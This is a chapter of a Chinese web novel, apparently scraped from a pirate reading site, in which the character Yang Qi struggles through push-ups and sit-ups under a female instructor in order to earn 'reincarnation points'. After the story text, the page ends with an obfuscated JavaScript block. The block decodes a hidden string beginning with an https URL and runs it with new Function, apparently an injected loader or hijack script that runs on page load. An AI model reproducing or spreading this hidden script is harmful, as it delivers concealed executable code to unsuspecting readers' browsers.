(手机请访问 m.duxs8.com); 杨琪努力的做着，她感觉每一次自己都倾尽了全部的力量，好像要把自己全身所剩下的做后的一点力气都压榨出来，这种感觉是真的好痛苦，痛苦到不能呼吸，痛苦到心中有种无法形容的悲伤。
杨琪感觉自己耗尽了全部的力量，此刻的她感觉到如此的无能为力，身体里面是这样的难过。
杨琪努力的把身体往下压，感觉到是如此的无力，以至于她不得不告诉自己，自己一定是可以的。
“杨琪加油，你可以的！”杨琪对自己说到。
“恩恩”杨琪对自己说到。
这么说着，她似乎感觉到力量多出来了那么一丝。
就是这一丝的力量，使得杨琪感觉到内心深处充满了一种向上的能量，在这种向上的能量的作用之下，杨琪感觉到自己拥有了神奇的力量。
这力量发自内心深处，如此的强大，以至于杨琪感觉到格外的兴奋。
“对，就是这样，继续！”杨琪对自己说到。
这力量在她的内心之中绽放，她感觉到自己重新拥有了希望。
杨琪十分的兴奋，这种兴奋的感觉，促使她要继续用尽全身的力量，来做这五个俯卧撑，也不知道是不是意志的作用，在三分钟的时间里面，杨琪一个接着一个，终于将五个俯卧撑都做完了。
“感觉，身体到了极限了。”杨琪感觉自己的身体到了极限了，这感觉是如此的强烈，以至于她没有办法阻止自己停下来，杨琪直接趴在地上，刚才的五个俯卧撑耗光了她全部的力量，现在的她，没有丝毫的力量继续了。
看到杨琪的确是没有一点的力量了，军官没有说话，而是走到杨琪身边，用一只手把她从地上扶了起来。
军官温柔的把杨琪放在靠在树的地方，杨琪的身体靠着树，感觉力量慢慢的恢复着。
杨琪慢慢的恢复着力量要参加训练才能完成任务，完成任务才可以得到轮回点数，然后可以购买那些轮回商店里的神奇物品来强化自己。
在这个世界（抢滩登陆世界），轮回商店提供血脉类物品的兑换和一般科技武器的兑换，血脉类物品是从跟本身强化一个人的基础身体素质，而一般科技武器有的是超越这个世界的一般武器的，两者结合之下，杀伤力当然更大了。
杀伤力越大，一般来说效果就越好，一般人当然都要追求杀伤力的最大化，最大化的杀伤力才是最好的选择，杨琪渴望着拥有更强的力量，那么前提就是可以在这里完成训练课程。
但训练无疑是艰苦的，经历了第一天五个俯卧撑训练之后，杨琪花费了十几分钟时间休息，也渐渐的恢复了体力，但是她感觉自己还是有点疲惫的，不能继续进行接下来的训练。
教官走到杨琪身前，刚才她让那边的其余女兵进行仰卧起的训练，虽然有科学家说大量的仰卧起坐会造成女性出现可怕的疾病，不过他们军对并不认可，而是认为适量的仰卧起坐训练对女性是有好处的，前人积累了大量的经验，所以她们并非胡来，而是有着经验的依据的。
教官对杨琪说到，“休息的怎么样了？”
杨琪说到，“抱歉教官，我还没有休息好。”
“那你还需要休息多久呢？”教官问到。
“半个小时”杨琪说到。
“好的，从现在开始半个小时计时，之后立刻开始新的训练。”教官说到。
接着教官去监督其余女兵的仰卧起训练了，这些女兵身体曲线都很好，进行仰卧起的时候身体完全的放开，所以动作也是非常的性感，教官的关注点却不在这上面，而是在看着女兵们的动作是否标准，无论是动作幅度过大，或者动作幅度过小，其带来的影响都是相对应的。
其中一个女兵，做动作的速度明显更投入，也更快一点，如果把其他人的动作看成一般，那么这个女兵的动作便是拥有了“灵魂”。
有一种舞蹈，叫做灵魂舞蹈，有一种音乐，叫做灵魂音乐，此刻杨琪看到那名女孩，是在用灵魂在仰卧起，她的动作，就是灵魂仰卧起坐。
看着女孩的灵魂仰卧起坐，杨琪不由被吸引了目光，看着对方不停的做着那优美的动作，她不由被激发了欣赏欲和模仿欲，想要也跟着一起做，但是身体的疲惫让她的思维回归了现实，因此扭过了头不再关注。
休息的半个小时时间很快过去了，杨琪看到教官走了过来。
“休息好了吗？”漂亮的女教官说到，听到女教官说这样的话，杨琪不由露出一抹无奈的表情，休息的时间真的是太短暂了，短暂到自己没有办法彻底的恢复，然而此刻毕竟已经恢复了*分的力气，可以说差不多全身的力量快要恢复完了，也就是说杨琪可以继续的训练了。
杨琪点了点头说到，“可以了，教官小姐。”
“嗯，那就快点起来，做仰卧起坐，给你安排十个吧，可以吗？”教官说到。
给别人安排都是五十个，但是到了杨琪这里，仅仅只安排10个，因为她估计安排的再多杨琪也做不动，她不喜欢那些虚的，九是要让杨琪训练，不是逼着她耗完精力，而是让她的力量增加，让她的身体变强，进行科学性质的运动练习，并且保持和增强。
杨琪点了了点头，十个仰卧起坐并不算多，她觉得自己做起来难度应该不是很大。
杨琪做着仰卧起坐，有了之前的经历，再一次做这种训练的时候，她感觉自己成熟了很多，她开售学会判断自己的潜能，十个仰卧起坐，应该没有问题，仅仅是再一次把体力给耗尽罢了，这完全没有什么问题。
杨琪躺下，然后用尽全身的力气，把上半身撑起来，在这个过程中，主要是腰部的发力，随着腰部发力，杨琪感觉到自己腰部的肌肉变得酸涩起来，她的确太少运动了，作为一个大学生，她很少做什么体育方面的锻炼，更多的心思都放在如何找工作上面，杨琪此刻有些后悔的感觉，为什么自己在大学的时候就不好好的坚持锻炼呢？
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();